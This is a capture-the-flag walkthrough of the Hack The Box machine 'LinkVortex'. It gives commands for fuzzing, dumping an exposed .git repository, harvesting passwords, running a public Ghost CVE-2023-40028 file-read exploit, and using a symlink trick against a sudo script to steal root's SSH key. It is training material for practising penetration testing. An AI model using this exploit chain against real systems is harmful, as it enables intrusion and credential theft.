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LinkVortex

IP: 10.129.235.153

Setup Metasploit environment
# Open Metasploit
sudo msfconsole

# Metasploit Commands
use multi/handler
workspace -a LinkVortex
setg WORKSPACE LinkVortex
setg LHOST 10.10.14.140
setg LPORT 1337
setg SRVHOST 0.0.0.0
setg SRVPORT 9001
setg RHOST 10.129.235.153
setg RHOSTS 10.129.235.153

Info Gathering

Enumerate open ports

# Initial Port Scan
db_nmap -p 22,80 -sC -sV -O -A --open -oN LinkVortex.nmap 10.129.235.153

Hosts

Services
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Gaining Access

In the nmap scan results a robots.txt file was found and enumerated
A robots.txt file is used to tell bots such as Google on the internet to leave the URIs off of their search results and
ignore them in their scans
The use of this file may expose useful URIs of a site that may not have otherwise been found

Screenshot Evidence

When visiting http://10.129.235.153 in my browser I am forwarded to http://linkvortex.htb/
I updated my hosts file to include an entry for this resolution

# Edit File
sudo vim /etc/hosts
# Add Line
10.129.235.153 linkvortex.htb

Screenshot Evidence

This allowed me to visit the site
LINK: http://linkvortex.htb/

Screenshot Evidence

http://10.129.235.153
http://linkvortex.htb/
http://linkvortex.htb/
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There is not much on this main page. Checking Burpsuite shows a lot of URI paths but not the ones seen in
robots.txt
Visiting the robots.txt URIs an admin login page is discovered. The other URIs were all 404s
LINK: http://linkvortex.htb/ghost/#/signin

Screenshot Evidence

The 404 pages could be the result of an incorrect vhost name being used in the webpage.
I fuzzed to discover possible names

# Discover subdomains for the site

http://linkvortex.htb/ghost/#/signin
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ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.linkvortex.htb' -u
http://10.129.235.153 -ac -c

This discovered a new subdomain dev.linkvortex.htb

Screenshot Evidence

I added dev.linkvortex.htb to my hosts file

# Edit File
sudo vim /etc/hosts
# Add Line
10.129.235.153 dev.linkvortex.htb linkvortex.htb

Screenshot Evidence

The robots.txt URIs did not work with this site but it did find an under contrsuction site
LINK: http://dev.linkvortex.htb/

Screenshot Evidence

There are no comments or calls to other pages.
You can use ffuf to discover other possible URLs

http://dev.linkvortex.htb/
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# Discover URIs
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://dev.linkvortex.htb/FUZZ -ac -c

This discoveres a .git URI
LINK: http://dev.linkvortex.htb/.git/

Screenshot Evidence

I used a git disclosure tool to obtain all files in this repo from every change
TOOL: https://github.com/lijiejie/GitHack/blob/master/GitHack.py

# Clone tool to attack machine
git clone https://github.com/lijiejie/GitHack.git
cd GitHack

# See how to use it
python3 GitHack.py

# Execuet the command
python3 GitHack.py -u http://dev.linkvortex.htb/.git/

Screenshot Evidence

http://dev.linkvortex.htb/.git/
https://github.com/lijiejie/GitHack/blob/master/GitHack.py
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Use grep to search for credentials

# Filter for passwords
grep -A2 -B2 -R -i password dev.linkvortex.htb/* 2>/dev/null

This discovered a few possible passwords
- OctopiFociPilfer45
- thisissupersafe
- lel123456
- 12345678910

Screenshot Evidence
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I was able to login successfully using the password I found
LINK: http://linkvortex.htb/ghost/#/signin 

Username Password

admin@linkvortex.htb OctopiFociPilfer45

Screenshot Evidence

A browser add-on I use called Wappalyzer shows the Ghost verison being used is Ghost v5.58

http://linkvortex.htb/ghost/#/signin
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Screenshot Evidence

I ran a Google search for “ghost 5.58 exploit” and found CVE-2023-40028
I searched for a Proof on Concept and found a tool to use
REFERENCE: https://github.com/0xyassine/CVE-2023-40028/tree/master

Screenshot Evidence

I downloaded the PoC and tried it out

https://github.com/0xyassine/CVE-2023-40028/tree/master
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# Download the PoC
wget https://raw.githubusercontent.com/0xyassine/CVE-2023-40028/refs/heads/master/CVE-2023-40028.sh

# See how to use it
chmod +x CVE-2023-40028.sh

The exploit needs to be modified because I am not defining the URL in the command line arguments.
I harded coded them into the script then executed the exploit which is an LFI

# Run the exploit
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45

Screenshot Evidence

I listed users in the /etc/passwd file but was unable to get SSH keys for any users likely because of correct
permissions
I checked the Ghost documentation looking for a config file that may have credential information or environment
variables
REFERENCE: https://ghost.org/docs/config/

They listed a couple files I want to read
1. config.development.json
2. config.production.json

Screenshot Evidence

https://ghost.org/docs/config/
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I checked my git repo for those files and it gave me a location

# Filter for those file names to identfiy location
grep -R 'config' ~/HTB/Boxes/LinkVortex/GitHack/dev.linkvortex.htb/*

Screenshot Evidence

I ran the exploit against that file and found another set of credentials

# CVE File Command
/var/lib/ghost/config.production.json

Username Password

bob@linkvortex.htb fibber-talented-worth

Screenshot Evidence
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I was able to successfully login with those credentials and read the user flag

# SSH into device
ssh bob@linkvortex.htb
Password: fibber-talented-worth

# Read the user flag
cat ~/user.txt
#RESULTS
25955b985de29c1c9de0f4a7ce3969f0

Screenshot Evidence
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I then used an SSH session in Metasploit and upgraded it to a Meterpreter

# Metasploit Commands
search ssh_login
use scanner/ssh/ssh_login
set USERNAME bob
set PASSWORD fibber-talented-worth
run -j
sessions -u 1

Screenshot Evidence

USER FLAG: 25955b985de29c1c9de0f4a7ce3969f0

PrivEsc

I checked my sudo permissions and see I am able to execute a bash script without a password as anyone
including root

# Read sudo permissions
sudo -l

# Can execute below command
/usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Screenshot Evidence

View the contents of the script /opt/ghost/clean_symlink.sh

# Read file
cat /opt/ghost/clean_symlink.sh

Screenshot Evidence
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In the script I can see that absolute paths to commands are used so there would be no way to exploit a writeable
PATH directory
The command rm is not used which we can check exploiting the use of wildcards in when there is no -- to indicate
no more arguments specified.

I have to exploit what is in the script
Bob is the only user with a home directory so there will not be another user to compromise.
If the variable CHECK_CONTENT is true the script will return the contents of a file

# Vulnerable code
if $CHECK_CONTENT;then
  /usr/bin/echo "Content:"
  /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi

I will include that in my sudo command so when I run the script as root it has that environment variable
The LINK variable has to end in .png and is the first argument specified

If the root user has an SSH key in /root/.ssh/id_rsa I can create a symlink to it at tobor.png
I need to create another symlink with the .png file extension required by sudo creating tobor2.png. 
The reason for this is the script checks to see if root is in the directory path and if it is does not perform the
operation we want it to

I was able to successfully get the root private key
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# Create a symlink for the root users private key file
ln -s /root/.ssh/id_rsa /home/bob/tobor.png

# Create another symlink to bypass the scripts detection of the root directory
ln -s /home/bob/tobor.png /home/bob/tobor2.png

# Run the script with sudo 
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/tobor2.png

Screenshot Evidence

I created a file and added the private key into it called root-linkvortex.htb

-----BEGIN OPENSSH PRIVATE KEY----------END OPENSSH PRIVATE KEY-----

I set the correct permissions on the key file and logged in to read the root flag
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# Set permissions for ssh key
chmod 600 root-linkvortex.key

# SSH in
ssh root@linkvortex.htb -i root-linkvortex.key

# Read the root flag
cat /root/root.txt
# RESULTS
bc7cd67cb13638cd7d1b9674d264d333

Screenshot Evidence

ROOT FLAG: bc7cd67cb13638cd7d1b9674d264d333


